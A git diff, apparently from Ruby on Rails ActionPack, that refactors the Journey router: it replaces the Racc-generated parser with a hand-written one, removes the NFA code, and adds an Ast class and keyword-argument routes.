-            regexp_states: simple_regexp,
-            string_states: @string_states,
-            accepting:     @accepting
+            regexp_states:   simple_regexp.stringify_keys,
+            string_states:   @string_states.stringify_keys,
+            stdparam_states: @stdparam_states.stringify_keys,
+            accepting:       @accepting.stringify_keys
           }
         end
 
@@ -82,14 +128,14 @@ def to_svg
         end
 
         def visualizer(paths, title = "FSM")
-          viz_dir   = File.join File.dirname(__FILE__), "..", "visualizer"
+          viz_dir   = File.join __dir__, "..", "visualizer"
           fsm_js    = File.read File.join(viz_dir, "fsm.js")
           fsm_css   = File.read File.join(viz_dir, "fsm.css")
           erb       = File.read File.join(viz_dir, "index.html.erb")
           states    = "function tt() { return #{to_json}; }"
 
           fun_routes = paths.sample(3).map do |ast|
-            ast.map { |n|
+            ast.filter_map { |n|
               case n
               when Nodes::Symbol
                 case n.left
@@ -102,14 +148,13 @@ def visualizer(paths, title = "FSM")
               else
                 nil
               end
-            }.compact.join
+            }.join
           end
 
           stylesheets = [fsm_css]
           svg         = to_svg
           javascripts = [states, fsm_js]
 
-          # Annoying hack warnings
           fun_routes  = fun_routes
           stylesheets = stylesheets
           svg         = svg
@@ -121,36 +166,43 @@ def visualizer(paths, title = "FSM")
         end
 
         def []=(from, to, sym)
-          to_mappings = states_hash_for(sym)[from] ||= {}
-          to_mappings[sym] = to
+          case sym
+          when String, Symbol
+            to_mapping = @string_states[from] ||= {}
+            # account for symbols in the constraints the same as strings
+            to_mapping[sym.to_s] = to
+          when Regexp
+            if sym == DEFAULT_EXP
+              @stdparam_states[from] = to
+            else
+              to_mapping = @regexp_states[from] ||= {}
+              # we must match the whole string to a token boundary
+              to_mapping[/\A#{sym}\Z/] = to
+            end
+          else
+            raise ArgumentError, "unknown symbol: %s" % sym.class
+          end
         end
 
         def states
           ss = @string_states.keys + @string_states.values.flat_map(&:values)
+          ps = @stdparam_states.keys + @stdparam_states.values
           rs = @regexp_states.keys + @regexp_states.values.flat_map(&:values)
-          (ss + rs).uniq
+          (ss + ps + rs).uniq
         end
 
         def transitions
+          # double escaped because dot evaluates escapes
+          default_exp_anchored = "\\\\A#{DEFAULT_EXP.source}\\\\Z"
+
           @string_states.flat_map { |from, hash|
             hash.map { |s, to| [from, s, to] }
+          } + @stdparam_states.map { |from, to|
+            [from, default_exp_anchored, to]
           } + @regexp_states.flat_map { |from, hash|
-            hash.map { |s, to| [from, s, to] }
+            hash.map { |r, to| [from, r.source.gsub("\\") { "\\\\" }, to] }
           }
         end
-
-        private
-
-          def states_hash_for(sym)
-            case sym
-            when String
-              @string_states
-            when Regexp
-              @regexp_states
-            else
-              raise ArgumentError, "unknown symbol: %s" % sym.class
-            end
-          end
       end
     end
   end
diff --git a/actionpack/lib/action_dispatch/journey/nfa/builder.rb b/actionpack/lib/action_dispatch/journey/nfa/builder.rb
deleted file mode 100644
index 532f765094e1f..0000000000000
--- a/actionpack/lib/action_dispatch/journey/nfa/builder.rb
+++ /dev/null
@@ -1,76 +0,0 @@
-require "action_dispatch/journey/nfa/transition_table"
-require "action_dispatch/journey/gtg/transition_table"
-
-module ActionDispatch
-  module Journey # :nodoc:
-    module NFA # :nodoc:
-      class Visitor < Visitors::Visitor # :nodoc:
-        def initialize(tt)
-          @tt = tt
-          @i  = -1
-        end
-
-        def visit_CAT(node)
-          left  = visit(node.left)
-          right = visit(node.right)
-
-          @tt.merge(left.last, right.first)
-
-          [left.first, right.last]
-        end
-
-        def visit_GROUP(node)
-          from  = @i += 1
-          left  = visit(node.left)
-          to    = @i += 1
-
-          @tt.accepting = to
-
-          @tt[from, left.first] = nil
-          @tt[left.last, to] = nil
-          @tt[from, to] = nil
-
-          [from, to]
-        end
-
-        def visit_OR(node)
-          from = @i += 1
-          children = node.children.map { |c| visit(c) }
-          to = @i += 1
-
-          children.each do |child|
-            @tt[from, child.first] = nil
-            @tt[child.last, to]    = nil
-          end
-
-          @tt.accepting = to
-
-          [from, to]
-        end
-
-        def terminal(node)
-          from_i = @i += 1 # new state
-          to_i   = @i += 1 # new state
-
-          @tt[from_i, to_i] = node
-          @tt.accepting = to_i
-          @tt.add_memo(to_i, node.memo)
-
-          [from_i, to_i]
-        end
-      end
-
-      class Builder # :nodoc:
-        def initialize(ast)
-          @ast = ast
-        end
-
-        def transition_table
-          tt = TransitionTable.new
-          Visitor.new(tt).accept(@ast)
-          tt
-        end
-      end
-    end
-  end
-end
diff --git a/actionpack/lib/action_dispatch/journey/nfa/dot.rb b/actionpack/lib/action_dispatch/journey/nfa/dot.rb
index 8119e5d9dac86..130cb1ccb035f 100644
--- a/actionpack/lib/action_dispatch/journey/nfa/dot.rb
+++ b/actionpack/lib/action_dispatch/journey/nfa/dot.rb
@@ -1,3 +1,7 @@
+# frozen_string_literal: true
+
+# :markup: markdown
+
 module ActionDispatch
   module Journey # :nodoc:
     module NFA # :nodoc:
@@ -7,17 +11,6 @@ def to_dot
             "  #{from} -> #{to} [label=\"#{sym || 'ε'}\"];"
           }
 
-          #memo_nodes = memos.values.flatten.map { |n|
-          #  label = n
-          #  if Journey::Route === n
-          #    label = "#{n.verb.source} #{n.path.spec}"
-          #  end
-          #  "  #{n.object_id} [label=\"#{label}\", shape=box];"
-          #}
-          #memo_edges = memos.flat_map { |k, memos|
-          #  (memos || []).map { |v| "  #{k} -> #{v.object_id};" }
-          #}.uniq
-
           <<-eodot
 digraph nfa {
   rankdir=LR;
diff --git a/actionpack/lib/action_dispatch/journey/nfa/simulator.rb b/actionpack/lib/action_dispatch/journey/nfa/simulator.rb
deleted file mode 100644
index 324d0eed1583e..0000000000000
--- a/actionpack/lib/action_dispatch/journey/nfa/simulator.rb
+++ /dev/null
@@ -1,47 +0,0 @@
-require "strscan"
-
-module ActionDispatch
-  module Journey # :nodoc:
-    module NFA # :nodoc:
-      class MatchData # :nodoc:
-        attr_reader :memos
-
-        def initialize(memos)
-          @memos = memos
-        end
-      end
-
-      class Simulator # :nodoc:
-        attr_reader :tt
-
-        def initialize(transition_table)
-          @tt = transition_table
-        end
-
-        def simulate(string)
-          input = StringScanner.new(string)
-          state = tt.eclosure(0)
-          until input.eos?
-            sym   = input.scan(%r([/.?]|[^/.?]+))
-
-            # FIXME: tt.eclosure is not needed for the GTG
-            state = tt.eclosure(tt.move(state, sym))
-          end
-
-          acceptance_states = state.find_all { |s|
-            tt.accepting?(tt.eclosure(s).sort.last)
-          }
-
-          return if acceptance_states.empty?
-
-          memos = acceptance_states.flat_map { |x| tt.memo(x) }.compact
-
-          MatchData.new(memos)
-        end
-
-        alias :=~    :simulate
-        alias :match :simulate
-      end
-    end
-  end
-end
diff --git a/actionpack/lib/action_dispatch/journey/nfa/transition_table.rb b/actionpack/lib/action_dispatch/journey/nfa/transition_table.rb
deleted file mode 100644
index 543a670da0a67..0000000000000
--- a/actionpack/lib/action_dispatch/journey/nfa/transition_table.rb
+++ /dev/null
@@ -1,118 +0,0 @@
-require "action_dispatch/journey/nfa/dot"
-
-module ActionDispatch
-  module Journey # :nodoc:
-    module NFA # :nodoc:
-      class TransitionTable # :nodoc:
-        include Journey::NFA::Dot
-
-        attr_accessor :accepting
-        attr_reader :memos
-
-        def initialize
-          @table     = Hash.new { |h, f| h[f] = {} }
-          @memos     = {}
-          @accepting = nil
-          @inverted  = nil
-        end
-
-        def accepting?(state)
-          accepting == state
-        end
-
-        def accepting_states
-          [accepting]
-        end
-
-        def add_memo(idx, memo)
-          @memos[idx] = memo
-        end
-
-        def memo(idx)
-          @memos[idx]
-        end
-
-        def []=(i, f, s)
-          @table[f][i] = s
-        end
-
-        def merge(left, right)
-          @memos[right] = @memos.delete(left)
-          @table[right] = @table.delete(left)
-        end
-
-        def states
-          (@table.keys + @table.values.flat_map(&:keys)).uniq
-        end
-
-        # Returns set of NFA states to which there is a transition on ast symbol
-        # +a+ from some state +s+ in +t+.
-        def following_states(t, a)
-          Array(t).flat_map { |s| inverted[s][a] }.uniq
-        end
-
-        # Returns set of NFA states to which there is a transition on ast symbol
-        # +a+ from some state +s+ in +t+.
-        def move(t, a)
-          Array(t).map { |s|
-            inverted[s].keys.compact.find_all { |sym|
-              sym === a
-            }.map { |sym| inverted[s][sym] }
-          }.flatten.uniq
-        end
-
-        def alphabet
-          inverted.values.flat_map(&:keys).compact.uniq.sort_by(&:to_s)
-        end
-
-        # Returns a set of NFA states reachable from some NFA state +s+ in set
-        # +t+ on nil-transitions alone.
-        def eclosure(t)
-          stack = Array(t)
-          seen  = {}
-          children = []
-
-          until stack.empty?
-            s = stack.pop
-            next if seen[s]
-
-            seen[s] = true
-            children << s
-
-            stack.concat(inverted[s][nil])
-          end
-
-          children.uniq
-        end
-
-        def transitions
-          @table.flat_map { |to, hash|
-            hash.map { |from, sym| [from, sym, to] }
-          }
-        end
-
-        private
-
-          def inverted
-            return @inverted if @inverted
-
-            @inverted = Hash.new { |h, from|
-              h[from] = Hash.new { |j, s| j[s] = [] }
-            }
-
-            @table.each { |to, hash|
-              hash.each { |from, sym|
-                if sym
-                  sym = Nodes::Symbol === sym ? sym.regexp : sym.left
-                end
-
-                @inverted[from][sym] << to
-              }
-            }
-
-            @inverted
-          end
-      end
-    end
-  end
-end
diff --git a/actionpack/lib/action_dispatch/journey/nodes/node.rb b/actionpack/lib/action_dispatch/journey/nodes/node.rb
index 0d874a84c9cb4..53bec2228ca9f 100644
--- a/actionpack/lib/action_dispatch/journey/nodes/node.rb
+++ b/actionpack/lib/action_dispatch/journey/nodes/node.rb
@@ -1,7 +1,70 @@
+# frozen_string_literal: true
+
+# :markup: markdown
+
 require "action_dispatch/journey/visitors"
 
 module ActionDispatch
   module Journey # :nodoc:
+    class Ast # :nodoc:
+      attr_reader :names, :path_params, :tree, :wildcard_options, :terminals
+      alias :root :tree
+
+      def initialize(tree, formatted)
+        @tree = tree
+        @path_params = []
+        @names = []
+        @symbols = []
+        @stars = []
+        @terminals = []
+        @wildcard_options = {}
+
+        visit_tree(formatted)
+      end
+
+      def requirements=(requirements)
+        # inject any regexp requirements for `star` nodes so they can be determined
+        # nullable, which requires knowing if the regex accepts an empty string.
+        (symbols + stars).each do |node|
+          re = requirements[node.to_sym]
+          node.regexp = re if re
+        end
+      end
+
+      def route=(route)
+        terminals.each { |n| n.memo = route }
+      end
+
+      def glob?
+        stars.any?
+      end
+
+      private
+        attr_reader :symbols, :stars
+
+        def visit_tree(formatted)
+          tree.each do |node|
+            if node.symbol?
+              path_params << node.to_sym
+              names << node.name
+              symbols << node
+            elsif node.star?
+              stars << node
+
+              if formatted != false
+                # Add a constraint for wildcard route to make it non-greedy and match the
+                # optional format part of the route by default.
+                wildcard_options[node.name.to_sym] ||= /.+?/m
+              end
+            end
+
+            if node.terminal?
+              terminals << node
+            end
+          end
+        end
+    end
+
     module Nodes # :nodoc:
       class Node # :nodoc:
         include Enumerable
@@ -11,6 +74,7 @@ class Node # :nodoc:
         def initialize(left)
           @left = left
           @memo = nil
+          @to_s = nil
         end
 
         def each(&block)
@@ -18,7 +82,7 @@ def each(&block)
         end
 
         def to_s
-          Visitors::String::INSTANCE.accept(self, "")
+          @to_s ||= Visitors::String::INSTANCE.accept(self, "".dup).freeze
         end
 
         def to_dot
@@ -30,7 +94,7 @@ def to_sym
         end
 
         def name
-          left.tr "*:".freeze, "".freeze
+          -left.tr("*:", "")
         end
 
         def type
@@ -63,12 +127,12 @@ def initialize(x = Object.new)
         def literal?; false; end
       end
 
-      %w{ Symbol Slash Dot }.each do |t|
-        class_eval <<-eoruby, __FILE__, __LINE__ + 1
-          class #{t} < Terminal;
-            def type; :#{t.upcase}; end
-          end
-        eoruby
+      class Slash < Terminal # :nodoc:
+        def type; :SLASH; end
+      end
+
+      class Dot < Terminal # :nodoc:
+        def type; :DOT; end
       end
 
       class Symbol < Terminal # :nodoc:
@@ -76,17 +140,15 @@ class Symbol < Terminal # :nodoc:
         alias :symbol :regexp
         attr_reader :name
 
-        DEFAULT_EXP = /[^\.\/\?]+/
-        def initialize(left)
-          super
-          @regexp = DEFAULT_EXP
-          @name = left.tr "*:".freeze, "".freeze
-        end
-
-        def default_regexp?
-          regexp == DEFAULT_EXP
+        DEFAULT_EXP = /[^.\/?]+/
+        GREEDY_EXP = /(.+)/
+        def initialize(left, regexp = DEFAULT_EXP)
+          super(left)
+          @regexp = regexp
+          @name = -left.tr("*:", "")
         end
 
+        def type; :SYMBOL; end
         def symbol?; true; end
       end
 
@@ -100,6 +162,15 @@ def group?; true; end
       end
 
       class Star < Unary # :nodoc:
+        attr_accessor :regexp
+
+        def initialize(left)
+          super(left)
+
+          # By default wildcard routes are non-greedy and must match something.
+          @regexp = /.+?/m
+        end
+
         def star?; true; end
         def type; :STAR; end
 
diff --git a/actionpack/lib/action_dispatch/journey/parser.rb b/actionpack/lib/action_dispatch/journey/parser.rb
index e002755bcf924..70520e13264a8 100644
--- a/actionpack/lib/action_dispatch/journey/parser.rb
+++ b/actionpack/lib/action_dispatch/journey/parser.rb
@@ -1,199 +1,103 @@
-#
-# DO NOT MODIFY!!!!
-# This file is automatically generated by Racc 1.4.14
-# from Racc grammar file "".
-#
+# frozen_string_literal: true
 
-require 'racc/parser.rb'
+require "action_dispatch/journey/scanner"
+require "action_dispatch/journey/nodes/node"
 
-# :stopdoc:
-
-require "action_dispatch/journey/parser_extras"
 module ActionDispatch
-  module Journey
-    class Parser < Racc::Parser
-##### State transition tables begin ###
-
-racc_action_table = [
-    13,    15,    14,     7,    19,    16,     8,    19,    13,    15,
-    14,     7,    17,    16,     8,    13,    15,    14,     7,    21,
-    16,     8,    13,    15,    14,     7,    24,    16,     8 ]
-
-racc_action_check = [
-     2,     2,     2,     2,    22,     2,     2,     2,    19,    19,
-    19,    19,     1,    19,    19,     7,     7,     7,     7,    17,
-     7,     7,     0,     0,     0,     0,    20,     0,     0 ]
-
-racc_action_pointer = [
-    20,    12,    -2,   nil,   nil,   nil,   nil,    13,   nil,   nil,
-   nil,   nil,   nil,   nil,   nil,   nil,   nil,    19,   nil,     6,
-    20,   nil,    -5,   nil,   nil ]
-
-racc_action_default = [
-   -19,   -19,    -2,    -3,    -4,    -5,    -6,   -19,   -10,   -11,
-   -12,   -13,   -14,   -15,   -16,   -17,   -18,   -19,    -1,   -19,
-   -19,    25,    -8,    -9,    -7 ]
-
-racc_goto_table = [
-     1,    22,    18,    23,   nil,   nil,   nil,    20 ]
-
-racc_goto_check = [
-     1,     2,     1,     3,   nil,   nil,   nil,     1 ]
-
-racc_goto_pointer = [
-   nil,     0,   -18,   -16,   nil,   nil,   nil,   nil,   nil,   nil,
-   nil ]
-
-racc_goto_default = [
-   nil,   nil,     2,     3,     4,     5,     6,     9,    10,    11,
-    12 ]
-
-racc_reduce_table = [
-  0, 0, :racc_error,
-  2, 11, :_reduce_1,
-  1, 11, :_reduce_2,
-  1, 11, :_reduce_none,
-  1, 12, :_reduce_none,
-  1, 12, :_reduce_none,
-  1, 12, :_reduce_none,
-  3, 15, :_reduce_7,
-  3, 13, :_reduce_8,
-  3, 13, :_reduce_9,
-  1, 16, :_reduce_10,
-  1, 14, :_reduce_none,
-  1, 14, :_reduce_none,
-  1, 14, :_reduce_none,
-  1, 14, :_reduce_none,
-  1, 19, :_reduce_15,
-  1, 17, :_reduce_16,
-  1, 18, :_reduce_17,
-  1, 20, :_reduce_18 ]
-
-racc_reduce_n = 19
-
-racc_shift_n = 25
-
-racc_token_table = {
-  false => 0,
-  :error => 1,
-  :SLASH => 2,
-  :LITERAL => 3,
-  :SYMBOL => 4,
-  :LPAREN => 5,
-  :RPAREN => 6,
-  :DOT => 7,
-  :STAR => 8,
-  :OR => 9 }
-
-racc_nt_base = 10
-
-racc_use_result_var = false
-
-Racc_arg = [
-  racc_action_table,
-  racc_action_check,
-  racc_action_default,
-  racc_action_pointer,
-  racc_goto_table,
-  racc_goto_check,
-  racc_goto_default,
-  racc_goto_pointer,
-  racc_nt_base,
-  racc_reduce_table,
-  racc_token_table,
-  racc_shift_n,
-  racc_reduce_n,
-  racc_use_result_var ]
-
-Racc_token_to_s_table = [
-  "$end",
-  "error",
-  "SLASH",
-  "LITERAL",
-  "SYMBOL",
-  "LPAREN",
-  "RPAREN",
-  "DOT",
-  "STAR",
-  "OR",
-  "$start",
-  "expressions",
-  "expression",
-  "or",
-  "terminal",
-  "group",
-  "star",
-  "symbol",
-  "literal",
-  "slash",
-  "dot" ]
-
-Racc_debug_parser = false
-
-##### State transition tables end #####
-
-# reduce 0 omitted
-
-def _reduce_1(val, _values)
- Cat.new(val.first, val.last) 
-end
-
-def _reduce_2(val, _values)
- val.first 
-end
-
-# reduce 3 omitted
-
-# reduce 4 omitted
-
-# reduce 5 omitted
-
-# reduce 6 omitted
-
-def _reduce_7(val, _values)
- Group.new(val[1]) 
-end
-
-def _reduce_8(val, _values)
- Or.new([val.first, val.last]) 
-end
-
-def _reduce_9(val, _values)
- Or.new([val.first, val.last]) 
-end
-
-def _reduce_10(val, _values)
- Star.new(Symbol.new(val.last)) 
+  module Journey # :nodoc:
+    class Parser # :nodoc:
+      include Journey::Nodes
+
+      def self.parse(string)
+        new.parse string
+      end
+
+      def initialize
+        @scanner = Scanner.new
+        @next_token = nil
+      end
+
+      def parse(string)
+        @scanner.scan_setup(string)
+        advance_token
+        do_parse
+      end
+
+      private
+        def advance_token
+          @next_token = @scanner.next_token
+        end
+
+        def do_parse
+          parse_expressions
+        end
+
+        def parse_expressions
+          node = parse_expression
+
+          while @next_token
+            case @next_token
+            when :RPAREN
+              break
+            when :OR
+              node = parse_or(node)
+            else
+              node = Cat.new(node, parse_expressions)
+            end
+          end
+
+          node
+        end
+
+        def parse_or(lhs)
+          advance_token
+          node = parse_expression
+          Or.new([lhs, node])
+        end
+
+        def parse_expression
+          if @next_token == :STAR
+            parse_star
+          elsif @next_token == :LPAREN
+            parse_group
+          else
+            parse_terminal
+          end
+        end
+
+        def parse_star
+          node = Star.new(Symbol.new(@scanner.last_string, Symbol::GREEDY_EXP))
+          advance_token
+          node
+        end
+
+        def parse_group
+          advance_token
+          node = parse_expressions
+          if @next_token == :RPAREN
+            node = Group.new(node)
+            advance_token
+            node
+          else
+            raise ArgumentError, "missing right parenthesis."
+          end
+        end
+
+        def parse_terminal
+          node = case @next_token
+          when :SYMBOL
+            Symbol.new(@scanner.last_string)
+          when :LITERAL
+            Literal.new(@scanner.last_literal)
+          when :SLASH
+            Slash.new("/")
+          when :DOT
+            Dot.new(".")
+          end
+
+          advance_token
+          node
+        end
+    end
+  end
 end
-
-# reduce 11 omitted
-
-# reduce 12 omitted
-
-# reduce 13 omitted
-
-# reduce 14 omitted
-
-def _reduce_15(val, _values)
- Slash.new(val.first) 
-end
-
-def _reduce_16(val, _values)
- Symbol.new(val.first) 
-end
-
-def _reduce_17(val, _values)
- Literal.new(val.first) 
-end
-
-def _reduce_18(val, _values)
- Dot.new(val.first) 
-end
-
-def _reduce_none(val, _values)
-  val[0]
-end
-
-    end   # class Parser
-    end   # module Journey
-  end   # module ActionDispatch
diff --git a/actionpack/lib/action_dispatch/journey/parser.y b/actionpack/lib/action_dispatch/journey/parser.y
deleted file mode 100644
index f9b1a7a958b08..0000000000000
--- a/actionpack/lib/action_dispatch/journey/parser.y
+++ /dev/null
@@ -1,50 +0,0 @@
-class ActionDispatch::Journey::Parser
-  options no_result_var
-token SLASH LITERAL SYMBOL LPAREN RPAREN DOT STAR OR
-
-rule
-  expressions
-    : expression expressions  { Cat.new(val.first, val.last) }
-    | expression              { val.first }
-    | or
-    ;
-  expression
-    : terminal
-    | group
-    | star
-    ;
-  group
-    : LPAREN expressions RPAREN { Group.new(val[1]) }
-    ;
-  or
-    : expression OR expression { Or.new([val.first, val.last]) }
-    | expression OR or { Or.new([val.first, val.last]) }
-    ;
-  star
-    : STAR       { Star.new(Symbol.new(val.last)) }
-    ;
-  terminal
-    : symbol
-    | literal
-    | slash
-    | dot
-    ;
-  slash
-    : SLASH              { Slash.new(val.first) }
-    ;
-  symbol
-    : SYMBOL             { Symbol.new(val.first) }
-    ;
-  literal
-    : LITERAL            { Literal.new(val.first) }
-    ;
-  dot
-    : DOT                { Dot.new(val.first) }
-    ;
-
-end
-
----- header
-# :stopdoc:
-
-require "action_dispatch/journey/parser_extras"
diff --git a/actionpack/lib/action_dispatch/journey/parser_extras.rb b/actionpack/lib/action_dispatch/journey/parser_extras.rb
deleted file mode 100644
index 4c7e82d93c948..0000000000000
--- a/actionpack/lib/action_dispatch/journey/parser_extras.rb
+++ /dev/null
@@ -1,29 +0,0 @@
-require "action_dispatch/journey/scanner"
-require "action_dispatch/journey/nodes/node"
-
-module ActionDispatch
-  # :stopdoc:
-  module Journey
-    class Parser < Racc::Parser
-      include Journey::Nodes
-
-      def self.parse(string)
-        new.parse string
-      end
-
-      def initialize
-        @scanner = Scanner.new
-      end
-
-      def parse(string)
-        @scanner.scan_setup(string)
-        do_parse
-      end
-
-      def next_token
-        @scanner.next_token
-      end
-    end
-  end
-  # :startdoc:
-end
diff --git a/actionpack/lib/action_dispatch/journey/path/pattern.rb b/actionpack/lib/action_dispatch/journey/path/pattern.rb
index cf0108ec32f62..c0f24d3145bec 100644
--- a/actionpack/lib/action_dispatch/journey/path/pattern.rb
+++ b/actionpack/lib/action_dispatch/journey/path/pattern.rb
@@ -1,26 +1,29 @@
+# frozen_string_literal: true
+
+# :markup: markdown
+
 module ActionDispatch
   module Journey # :nodoc:
     module Path # :nodoc:
       class Pattern # :nodoc:
-        attr_reader :spec, :requirements, :anchored
+        REGEXP_CACHE = {}
 
-        def self.from_string(string)
-          build(string, {}, "/.?", true)
+        class << self
+          def dedup_regexp(regexp)
+            REGEXP_CACHE[regexp.source] ||= regexp
+          end
         end
 
-        def self.build(path, requirements, separators, anchored)
-          parser = Journey::Parser.new
-          ast = parser.parse path
-          new ast, requirements, separators, anchored
-        end
+        attr_reader :ast, :names, :requirements, :anchored, :spec
 
         def initialize(ast, requirements, separators, anchored)
-          @spec         = ast
+          @ast          = ast
+          @spec         = ast.root
           @requirements = requirements
           @separators   = separators
           @anchored     = anchored
 
-          @names          = nil
+          @names          = ast.names
           @optional_names = nil
           @required_names = nil
           @re             = nil
@@ -35,25 +38,29 @@ def eager_load!
           required_names
           offsets
           to_regexp
-          nil
+          @ast = nil
         end
 
-        def ast
-          @spec.find_all(&:symbol?).each do |node|
-            re = @requirements[node.to_sym]
-            node.regexp = re if re
-          end
+        def requirements_anchored?
+          # each required param must not be surrounded by a literal, otherwise it isn't
+          # simple to chunk-match the url piecemeal
+          terminals = ast.terminals
 
-          @spec.find_all(&:star?).each do |node|
-            node = node.left
-            node.regexp = @requirements[node.to_sym] || /(.+)/
-          end
+          terminals.each_with_index { |s, index|
+            next if index < 1
+            next if s.type == :DOT || s.type == :SLASH
 
-          @spec
-        end
+            back = terminals[index - 1]
+            fwd = terminals[index + 1]
+
+            # we also don't support this yet, constraints must be regexps
+            return false if s.symbol? && s.regexp.is_a?(Array)
+
+            return false if back.literal?
+            return false if !fwd.nil? && fwd.literal?
+          }
 
-        def names
-          @names ||= spec.find_all(&:symbol?).map(&:name)
+          true
         end
 
         def required_names
@@ -75,11 +82,11 @@ def initialize(separator, matchers)
           end
 
           def accept(node)
-            %r{\A#{visit node}\Z}
+            Pattern.dedup_regexp(%r{\A#{visit node}\Z})
           end
 
           def visit_CAT(node)
-            [visit(node.left), visit(node.right)].join
+            "#{visit(node.left)}#{visit(node.right)}"
           end
 
           def visit_SYMBOL(node)
@@ -88,7 +95,7 @@ def visit_SYMBOL(node)
             return @separator_re unless @matchers.key?(node)
 
             re = @matchers[node]
-            "(#{re})"
+            "(#{Regexp.union(re)})"
           end
 
           def visit_GROUP(node)
@@ -105,8 +112,8 @@ def visit_SLASH(node)
           end
 
           def visit_STAR(node)
-            re = @matchers[node.left.to_sym] || ".+"
-            "(#{re})"
+            re = @matchers[node.left.to_sym]
+            re ? "(#{re})" : "(.+)"
           end
 
           def visit_OR(node)
@@ -117,7 +124,8 @@ def visit_OR(node)
 
         class UnanchoredRegexp < AnchoredRegexp # :nodoc:
           def accept(node)
-            %r{\A#{visit node}}
+            path = visit node
+            path == "/" ? %r{\A/} : Pattern.dedup_regexp(%r{\A#{path}(?:\b|\Z|/)})
           end
         end
 
@@ -134,6 +142,10 @@ def captures
             Array.new(length - 1) { |i| self[i + 1] }
           end
 
+          def named_captures
+            @names.zip(captures).to_h
+          end
+
           def [](x)
             idx = @offsets[x - 1] + x
             @match[idx]
@@ -158,6 +170,10 @@ def match(other)
         end
         alias :=~ :match
 
+        def match?(other)
+          to_regexp.match?(other)
+        end
+
         def source
           to_regexp.source
         end
@@ -166,29 +182,34 @@ def to_regexp
           @re ||= regexp_visitor.new(@separators, @requirements).accept spec
         end
 
-        private
+        def requirements_for_missing_keys_check
+          @requirements_for_missing_keys_check ||= requirements.transform_values do |regex|
+            Pattern.dedup_regexp(/\A#{regex}\Z/)
+          end
+        end
 
+        private
           def regexp_visitor
             @anchored ? AnchoredRegexp : UnanchoredRegexp
           end
 
           def offsets
-            return @offsets if @offsets
-
-            @offsets = [0]
-
-            spec.find_all(&:symbol?).each do |node|
-              node = node.to_sym
-
-              if @requirements.key?(node)
-                re = /#{@requirements[node]}|/
-                @offsets.push((re.match("").length - 1) + @offsets.last)
-              else
-                @offsets << @offsets.last
+            @offsets ||= begin
+              offsets = [0]
+
+              spec.find_all(&:symbol?).each do |node|
+                node = node.to_sym
+
+                if @requirements.key?(node)
+                  re = Pattern.dedup_regexp(/#{Regexp.union(@requirements[node])}|/)
+                  offsets.push((re.match("").length - 1) + offsets.last)
+                else
+                  offsets << offsets.last
+                end
               end
-            end
 
-            @offsets
+              offsets
+            end
           end
       end
     end
diff --git a/actionpack/lib/action_dispatch/journey/route.rb b/actionpack/lib/action_dispatch/journey/route.rb
index 927fd369c46f3..a745ac309f0e2 100644
--- a/actionpack/lib/action_dispatch/journey/route.rb
+++ b/actionpack/lib/action_dispatch/journey/route.rb
@@ -1,20 +1,25 @@
+# frozen_string_literal: true
+
+# :markup: markdown
+
 module ActionDispatch
   # :stopdoc:
   module Journey
     class Route
-      attr_reader :app, :path, :defaults, :name, :precedence
+      attr_reader :app, :path, :defaults, :name, :precedence, :constraints,
+                  :internal, :scope_options, :ast, :source_location
 
-      attr_reader :constraints, :internal
       alias :conditions :constraints
 
       module VerbMatchers
         VERBS = %w{ DELETE GET HEAD OPTIONS LINK PATCH POST PUT TRACE UNLINK }
         VERBS.each do |v|
-          class_eval <<-eoc
-          class #{v}
-            def self.verb; name.split("::").last; end
-            def self.call(req); req.#{v.downcase}?; end
-          end
+          class_eval <<-eoc, __FILE__, __LINE__ + 1
+            # frozen_string_literal: true
+            class #{v}
+              def self.verb; name.split("::").last; end
+              def self.call(req); req.#{v.downcase}?; end
+            end
           eoc
         end
 
@@ -25,7 +30,7 @@ def initialize(verb)
             @verb = verb
           end
 
-          def call(request); @verb === request.request_method; end
+          def call(request); @verb == request.request_method; end
         end
 
         class All
@@ -33,66 +38,84 @@ def self.call(_); true; end
           def self.verb; ""; end
         end
 
+        class Or
+          attr_reader :verb
+
+          def initialize(verbs)
+            @verbs = verbs
+            @verb = @verbs.map(&:verb).join("|")
+          end
+
+          def call(req)
+            @verbs.any? { |v| v.call req }
+          end
+        end
+
         VERB_TO_CLASS = VERBS.each_with_object(all: All) do |verb, hash|
           klass = const_get verb
           hash[verb]                 = klass
           hash[verb.downcase]        = klass
           hash[verb.downcase.to_sym] = klass
         end
-      end
 
-      def self.verb_matcher(verb)
-        VerbMatchers::VERB_TO_CLASS.fetch(verb) do
+        VERB_TO_CLASS.default_proc = proc do |_, verb|
           VerbMatchers::Unknown.new verb.to_s.dasherize.upcase
         end
-      end
 
-      def self.build(name, app, path, constraints, required_defaults, defaults)
-        request_method_match = verb_matcher(constraints.delete(:request_method))
-        new name, app, path, constraints, required_defaults, defaults, request_method_match, 0
+        def self.for(verbs)
+          if verbs.any? { |v| VERB_TO_CLASS[v] == All }
+            All
+          elsif verbs.one?
+            VERB_TO_CLASS[verbs.first]
+          else
+            Or.new(verbs.map { |v| VERB_TO_CLASS[v] })
+          end
+        end
       end
 
       ##
       # +path+ is a path constraint.
-      # +constraints+ is a hash of constraints to be applied to this route.
-      def initialize(name, app, path, constraints, required_defaults, defaults, request_method_match, precedence, internal = false)
+      # `constraints` is a hash of constraints to be applied to this route.
+      def initialize(name:, app: nil, path:, constraints: {}, required_defaults: [], defaults: {}, via: nil, precedence: 0, scope_options: {}, internal: false, source_location: nil)
         @name        = name
         @app         = app
         @path        = path
 
-        @request_method_match = request_method_match
+        @request_method_match = via && VerbMatchers.for(via)
         @constraints = constraints
         @defaults    = defaults
         @required_defaults = nil
         @_required_defaults = required_defaults
         @required_parts    = nil
         @parts             = nil
-        @decorated_ast     = nil
         @precedence        = precedence
         @path_formatter    = @path.build_formatter
+        @scope_options     = scope_options
         @internal          = internal
+        @source_location   = source_location
+
+        @ast = @path.ast.root
+        @path.ast.route = self
       end
 
       def eager_load!
         path.eager_load!
-        ast
         parts
         required_defaults
         nil
       end
 
-      def ast
-        @decorated_ast ||= begin
-          decorated_ast = path.ast
-          decorated_ast.find_all(&:terminal?).each { |n| n.memo = self }
-          decorated_ast
-        end
-      end
-
+      # Needed for `bin/rails routes`. Picks up succinctly defined requirements for a
+      # route, for example route
+      #
+      #     get 'photo/:id', :controller => 'photos', :action => 'show',
+      #       :id => /[A-Z]\d{5}/
+      #
+      # will have {:controller=>"photos", :action=>"show", :[id=>/](A-Z){5}/} as
+      # requirements.
       def requirements
-        # needed for rails `rails routes`
         @defaults.merge(path.requirements).delete_if { |_, v|
-          /.+?/ == v
+          /.+?/m == v
         }
       end
 
@@ -105,18 +128,11 @@ def required_keys
       end
 
       def score(supplied_keys)
